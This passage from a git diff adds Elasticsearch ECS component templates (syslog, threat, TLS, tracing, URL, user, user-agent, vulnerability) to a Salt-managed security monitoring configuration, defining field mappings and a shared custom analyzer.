"ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "issuerdn": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ja3": { + "properties": { + "hash": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "string": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "ja3s": { + "properties": { + "hash": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "string": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "notafter": { + "type": "date" + }, + "notbefore": { + "type": "date" + }, + "serial": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "session_resumed": { + "type": "boolean" + }, + "sni": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "subject": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "version": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "tx_id": { + "type": "long" + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/syslog.json b/salt/elasticsearch/templates/component/ecs/syslog.json new file mode 100644 index 000000000..d263519e8 --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/syslog.json @@ -0,0 +1,82 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-base.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "syslog": { + "properties": { + "facility": { + "type": "long" + }, + "facility_label": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "priority": { + "type": "long" + }, + "severity_label": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/threat.json b/salt/elasticsearch/templates/component/ecs/threat.json new file mode 100644 index 000000000..62e71e49a --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/threat.json @@ -0,0 +1,3328 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-threat.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "threat": { + "properties": { + "enrichments": { + "properties": { + "indicator": { + "properties": { + "as": { + "properties": { + "number": { + "type": "long" + }, + "organization": { + "properties": { + "name": { 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"security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "distinguished_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "locality": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "organization": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "organizational_unit": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "state_or_province": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "version_number": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + }, + "software": { + "properties": { + "alias": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "platforms": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "reference": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "tactic": { + "properties": { + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "reference": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "technique": { + "properties": { + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + }, + "ignore_above": 1024, + "type": "keyword" + }, + "reference": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "subtechnique": { + "properties": { + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + }, + "ignore_above": 1024, + "type": "keyword" + }, + "reference": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/tls.json b/salt/elasticsearch/templates/component/ecs/tls.json new file mode 100644 index 000000000..796ffbe7b --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/tls.json @@ -0,0 +1,772 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-tls.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "tls": { + "properties": { + "cipher": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "client": { + "properties": { + "certificate": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "certificate_chain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "hash": { + "properties": { + "md5": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "sha1": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "sha256": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "issuer": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ja3": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "not_after": { + "type": "date" + }, + "not_before": { + "type": "date" + }, + "server_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "subject": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "supported_ciphers": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "x509": { + "properties": { + "alternative_names": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "issuer": { + "properties": { + "common_name": { + "ignore_above": 1024, + "type": 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"fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "not_after": { + "type": "date" + }, + "not_before": { + "type": "date" + }, + "public_key_algorithm": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "public_key_curve": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "public_key_exponent": { + "doc_values": false, + "index": false, + "type": "long" + }, + "public_key_size": { + "type": "long" + }, + "serial_number": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "signature_algorithm": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "subject": { + "properties": { + "common_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "country": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "distinguished_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "locality": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "organization": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "organizational_unit": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + 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"security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "organization": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "organizational_unit": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "state_or_province": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "not_after": { + "type": "date" + }, + "not_before": { + "type": "date" + }, + "public_key_algorithm": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "public_key_curve": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "public_key_exponent": { + "doc_values": false, + "index": false, + "type": "long" + }, + "public_key_size": { + "type": "long" + }, + "serial_number": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "signature_algorithm": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "subject": { + "properties": { + "common_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "country": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "distinguished_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "locality": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "organization": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "organizational_unit": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "state_or_province": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "version_number": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + }, + "version": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "version_protocol": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/tracing.json b/salt/elasticsearch/templates/component/ecs/tracing.json new file mode 100644 index 000000000..8f28ee9f8 --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/tracing.json @@ -0,0 +1,94 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-tracing.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "span": { + "properties": { + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "trace": { + "properties": { + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "transaction": { + "properties": { + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/url.json b/salt/elasticsearch/templates/component/ecs/url.json new file mode 100644 index 000000000..0f52cf583 --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/url.json @@ -0,0 +1,186 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-url.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "url": { + "properties": { + "domain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "extension": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "fragment": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "full": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + }, + "text": { + "type": "match_only_text" + } + }, + "type": "wildcard" + }, + "original": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + }, + "text": { + "type": "match_only_text" + } + }, + "type": "wildcard" + }, + "password": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "path": { + "type": "wildcard" + }, + "port": { + "type": "long" + }, + "query": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "registered_domain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "scheme": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "subdomain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "top_level_domain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "username": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/user.json b/salt/elasticsearch/templates/component/ecs/user.json new file mode 100644 index 000000000..f0fe644d8 --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/user.json @@ -0,0 +1,484 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-user.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "user": { + "properties": { + "changes": { + "properties": { + "domain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "email": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "full_name": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + }, + "ignore_above": 1024, + "type": "keyword" + }, + "group": { + "properties": { + "domain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "hash": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + }, + "ignore_above": 1024, + "type": "keyword" + }, + "roles": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "domain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "effective": { + "properties": { + "domain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "email": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "full_name": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + }, + "ignore_above": 1024, + "type": "keyword" + }, + "group": { + "properties": { + "domain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "hash": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + }, + "ignore_above": 1024, + "type": "keyword" + }, + "roles": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "email": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "full_name": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + }, + "ignore_above": 1024, + "type": "keyword" + }, + "group": { + "properties": { + "domain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "hash": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + }, + "ignore_above": 1024, + "type": "keyword" + }, + "roles": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "target": { + "properties": { + "domain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "email": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "full_name": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + }, + "ignore_above": 1024, + "type": "keyword" + }, + "group": { + "properties": { + "domain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "hash": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + }, + "ignore_above": 1024, + "type": "keyword" + }, + "roles": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/user_agent.json b/salt/elasticsearch/templates/component/ecs/user_agent.json new file mode 100644 index 000000000..0655b290e --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/user_agent.json @@ -0,0 +1,174 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-user_agent.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "user_agent": { + "properties": { + "device": { + "properties": { + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "original": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + }, + "ignore_above": 1024, + "type": "keyword" + }, + "os": { + "properties": { + "family": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "full": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + }, + "ignore_above": 1024, + "type": "keyword" + }, + "kernel": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + }, + "ignore_above": 1024, + "type": "keyword" + }, + "platform": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "version": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "version": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/vulnerability.json b/salt/elasticsearch/templates/component/ecs/vulnerability.json new file mode 100644 index 000000000..b7a239fb5 --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/vulnerability.json @@ -0,0 +1,173 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-vulnerability.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + 